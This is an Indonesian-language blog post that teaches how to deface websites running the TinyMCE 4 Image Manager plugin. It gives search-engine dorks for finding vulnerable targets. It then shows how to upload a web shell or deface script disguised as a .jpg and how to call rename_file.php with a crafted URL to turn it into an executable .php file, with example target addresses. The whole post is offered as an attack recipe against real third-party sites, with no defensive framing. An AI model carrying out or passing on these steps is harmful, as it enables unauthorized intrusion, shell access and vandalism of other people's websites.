Tutorial deface metode TinyMCE4 image manager







Assalamualaikum warahmatullahi wabarakatuh, bertemu lagi dengan saya kali ini saya akan memberikan tutorial deface metode TinyMCE 4 Image manager.

Dork:
  • Inurl:/plugins/tinymce/image/image.php
  • Intitle: TinyMCE 4 Image Manager
Kembang kan lagi dork nya.

Tutorial:
  1. Dorking menggunakan dork diatas 
  2. Lalu pilih target
  3. Lalu klik upload now
  4. Lalu klik tombol bertulisan "click or drop"
  5. Lalu pilih Shell/sc deface dengan berekstensi jpg
  6. Setelah upload berhasil lalu klik kanan pada gambar rusak dan pilih buka gambar di tab baru
  7. Liat lokasi gambar lalu ketik pada tab pencarian rename_file.php?current_name=namashell_lama&new_name=namashell_baru contoh:http://www.target.com.vn/plugins/tinymce/image/rename_file.php?current_name=Shell.jpg&new_name=a.php, cara akses http://target.com.vn/plugins/tinymce/image/uploads/namashellmu
  8. Ada target yang merubah nama file yang di upload ada juga yang tetap 
Sekian tutorial dari saya, jika ada salah kata mohon di Maafkan wassalamu'alaikum warahmatullahi wabarakatuh

No comments:

Post a Comment

solusi pada xss game